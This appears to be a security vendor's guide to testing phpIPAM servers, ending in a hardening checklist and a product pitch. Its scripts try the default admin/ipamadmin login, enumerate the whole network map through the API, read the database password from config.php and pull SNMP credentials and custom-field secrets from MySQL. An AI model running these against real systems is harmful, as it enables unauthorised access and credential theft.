IP Address Management Security Testing

phpIPAM Security Testing: Default Credentials, API Token, IP Address Management, and Database

📅 July 3, 2026 ⏱ 12 min read 🏷 phpIPAM, IPAM Security, IP Address Management, Default Credentials, SNMP Community Strings, Database Credentials

phpIPAM is the most widely deployed open-source IP address management web application, used by network administrators to document and manage IP address allocations, subnets, VLANs, and network topology. With hundreds of thousands of installations in enterprises, ISPs, and educational institutions, phpIPAM represents a high-value reconnaissance target: it contains the complete IP address space, all subnet allocations with VLAN information, custom fields that often include credentials and notes, and optionally SNMP community strings per subnet for automated scanning. Key assessment areas: phpIPAM defaults to admin/ipamadmin; the REST API provides complete IP and subnet enumeration; config.php stores the MySQL database password; SNMP community strings are stored per subnet for scan agent use; and the scan agent credentials expose network discovery access. This guide covers systematic phpIPAM security assessment.

Default Credentials and API Authentication
Subnet and IP Address Enumeration
Database and SNMP Credential Extraction
phpIPAM Security Hardening

Default Credentials and API Authentication

# phpIPAM — default credentials and API authentication
PHPIPAM_URL="https://phpipam.example.com"
APP_ID="myapp"

# Default credentials: admin / ipamadmin
# Some installations also use: admin / admin or admin / password
curl -s -X POST "${PHPIPAM_URL}/api/${APP_ID}/user/" \
  -H "Content-Type: application/json" \
  --user "admin:ipamadmin" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('success'):
    token = d.get('data',{}).get('token','')
    print(f'DEFAULT CREDENTIALS VALID: admin/ipamadmin')
    print(f'Session token: {token[:30]}...')
else:
    print(f'Login failed: {d.get(\"message\")}')
" 2>/dev/null

# phpIPAM API — authentication with app token
APP_TOKEN="your-phpipam-app-token"
SESSION_TOKEN=$(curl -s -X POST "${PHPIPAM_URL}/api/${APP_ID}/user/" \
  -H "phpipam-token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin); print(d.get('data',{}).get('token',''))
" 2>/dev/null)

# List all users
curl -s "${PHPIPAM_URL}/api/${APP_ID}/user/all/" \
  -H "phpipam-token: ${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")} role={u.get(\"role\")} admin={u.get(\"isAdmin\")}')
" 2>/dev/null

Subnet and IP Address Enumeration

# phpIPAM REST API — complete network topology enumeration
PHPIPAM_URL="https://phpipam.example.com"
APP_ID="myapp"
SESSION_TOKEN="your-session-token"

# Enumerate all subnets — complete network topology
curl -s "${PHPIPAM_URL}/api/${APP_ID}/subnets/" \
  -H "phpipam-token: ${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
subnets = d.get('data',[])
print(f'Subnets: {len(subnets)}')
for s in subnets[:30]:
    print(f'  [{s.get(\"id\")}] {s.get(\"subnet\")}/{s.get(\"mask\")} description={s.get(\"description\")} vlanId={s.get(\"vlanId\")}')
    print(f'    Location: {s.get(\"location\")} permissions={s.get(\"permissions\")} scanAgent={s.get(\"scanAgent\")}')
    if s.get('customer_id'):
        print(f'    Customer: {s.get(\"customer_id\")}')
" 2>/dev/null

# Enumerate all IP addresses — with hostnames and device info
curl -s "${PHPIPAM_URL}/api/${APP_ID}/addresses/" \
  -H "phpipam-token: ${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
addresses = d.get('data',[])
print(f'IP addresses: {len(addresses)}')
for a in addresses[:30]:
    print(f'  {a.get(\"ip\")} hostname={a.get(\"hostname\")} description={a.get(\"description\")}')
    print(f'    MAC: {a.get(\"mac\")} tag={a.get(\"tag\")} deviceId={a.get(\"deviceId\")}')
    if a.get('note'):
        print(f'    Note: {a.get(\"note\",\"\")[:100]}')
" 2>/dev/null

# Enumerate all VLANs
curl -s "${PHPIPAM_URL}/api/${APP_ID}/vlan/" \
  -H "phpipam-token: ${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
vlans = d.get('data',[])
print(f'VLANs: {len(vlans)}')
for v in vlans:
    print(f'  VLAN {v.get(\"number\")} name={v.get(\"name\")} description={v.get(\"description\")}')
" 2>/dev/null

Database and SNMP Credential Extraction

# phpIPAM configuration and SNMP credential extraction
# config.php — MySQL credentials

grep -E "db_pass|db_user|db_host|db_name|BASE" \
  /var/www/html/phpipam/config.php 2>/dev/null
# Common credential variables:
# $db['pass'] = 'phpipam_db_password';
# $db['user'] = 'phpipam';

# SNMP community strings stored per subnet in the database
mysql -u phpipam -p"DB_PASSWORD" phpipam 2>/dev/null << 'EOF'
SELECT id, subnet, mask, description, customer_id,
       pingSubnet, discoverSubnet, resolveDNS,
       SNMPcommunity, SNMPversion, SNMPv3_priv_protocol
FROM subnets
WHERE SNMPcommunity != '' OR SNMPv3_user != ''
LIMIT 50;
EOF
# SNMPcommunity — SNMP v2c community string per subnet
# SNMPv3_user, SNMPv3_auth_pass, SNMPv3_priv_pass — SNMPv3 credentials

# Scan agent credentials — used for automated IP discovery
mysql -u phpipam -p"DB_PASSWORD" phpipam 2>/dev/null << 'EOF'
SELECT id, name, type, code, description
FROM scanAgents;
EOF
# Scan agent type 'ping' or 'fping' uses system credentials
# Remote scan agents have registered API codes

# Custom fields — may store passwords, credentials, or sensitive notes
mysql -u phpipam -p"DB_PASSWORD" phpipam 2>/dev/null << 'EOF'
SELECT table_name, COLUMN_NAME
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA = 'phpipam'
  AND TABLE_NAME LIKE 'custom_fields_%'
ORDER BY table_name;
EOF

phpIPAM Security Hardening

phpIPAM Security Hardening Checklist:

Change the default admin/ipamadmin credentials immediately — phpIPAM ships with admin/ipamadmin as the default administrator credentials; admin access provides read and write access to the complete IP address space, all subnet documentation, SNMP community strings, scan agent configurations, and user management; many phpIPAM deployments are accessible from internal networks without further authentication controls; change the admin password immediately and consider enabling LDAP authentication for organizational integration
Protect SNMP community strings stored per subnet — phpIPAM allows storing SNMP community strings directly in the subnet database for use by automated scan agents; these community strings enable SNMP polling of every device in the documented subnet; an attacker with phpIPAM database access or admin UI access has all the SNMP credentials needed to query the full MIB of every monitored device; avoid storing SNMP credentials in phpIPAM when not strictly required for scan agent functionality; migrate to SNMPv3 with unique per-device credentials rather than shared community strings
Secure config.php with strict filesystem permissions — config.php stores the MySQL database password and database connection parameters in plaintext; restrict this file to 640 owned by the web server user; the phpIPAM database user should have minimal required permissions — SELECT on all tables for read operations and INSERT/UPDATE/DELETE only where necessary; avoid using the MySQL root credentials in config.php
Restrict API access and require token authentication for all applications — phpIPAM's REST API requires an application ID and optionally a token for authentication; in some configurations, the API is accessible without a token for read operations; audit Administration > API > API Keys and ensure all application IDs have a strong token configured; implement IP-based allowlisting for API access at the web server level; disable API access entirely if no automation depends on it
Audit custom fields and IP address notes for stored credentials — phpIPAM administrators commonly add custom fields to subnets and addresses to document additional network information; these custom fields and the description/note fields on individual IP addresses sometimes contain credentials, management URLs, and SNMP strings documented by network engineers; audit existing custom field data and address notes to identify and remediate stored credentials; establish a documentation policy prohibiting storage of credentials in phpIPAM free-text fields

Security Test	Method	Risk
Default admin/ipamadmin credentials	POST /api/{appid}/user/ with admin:ipamadmin basic auth — returns session token with full phpIPAM admin access including all subnet data, SNMP credentials, scan agent configurations, and user management	Critical
Complete IP and subnet enumeration	GET /api/{appid}/subnets/ and /addresses/ — returns all subnet allocations with VLAN info, all IP address assignments with hostnames, MAC addresses, and custom field notes; complete network topology map	Critical
SNMP community string extraction per subnet	MySQL query on subnets table — SNMPcommunity and SNMPv3 credentials per subnet; enables autonomous SNMP polling of all devices in every documented subnet without needing separate credential discovery	Critical
config.php database credential extraction	Read /var/www/html/phpipam/config.php — db_pass in plaintext; MySQL access provides complete phpIPAM database read/write including all IP allocations, SNMP credentials, and user password hashes	Critical
Custom field credential disclosure	Database query on custom_fields_* tables and address description/note fields — network engineers frequently document SNMP strings, management credentials, and device passwords in free-text fields; targeted field enumeration often reveals plaintext credentials	High

Automate phpIPAM Security Testing

Ironimo tests phpIPAM deployments for default credential exploitation, REST API subnet and IP address enumeration, SNMP community string extraction from the subnets database, config.php database credential access, custom field and note credential disclosure scanning, scan agent credential assessment, VLAN enumeration, API token authentication enforcement, and LDAP integration credential review.

Start free scan

Table of Contents

Default Credentials and API Authentication

Subnet and IP Address Enumeration

Database and SNMP Credential Extraction

phpIPAM Security Hardening

Automate phpIPAM Security Testing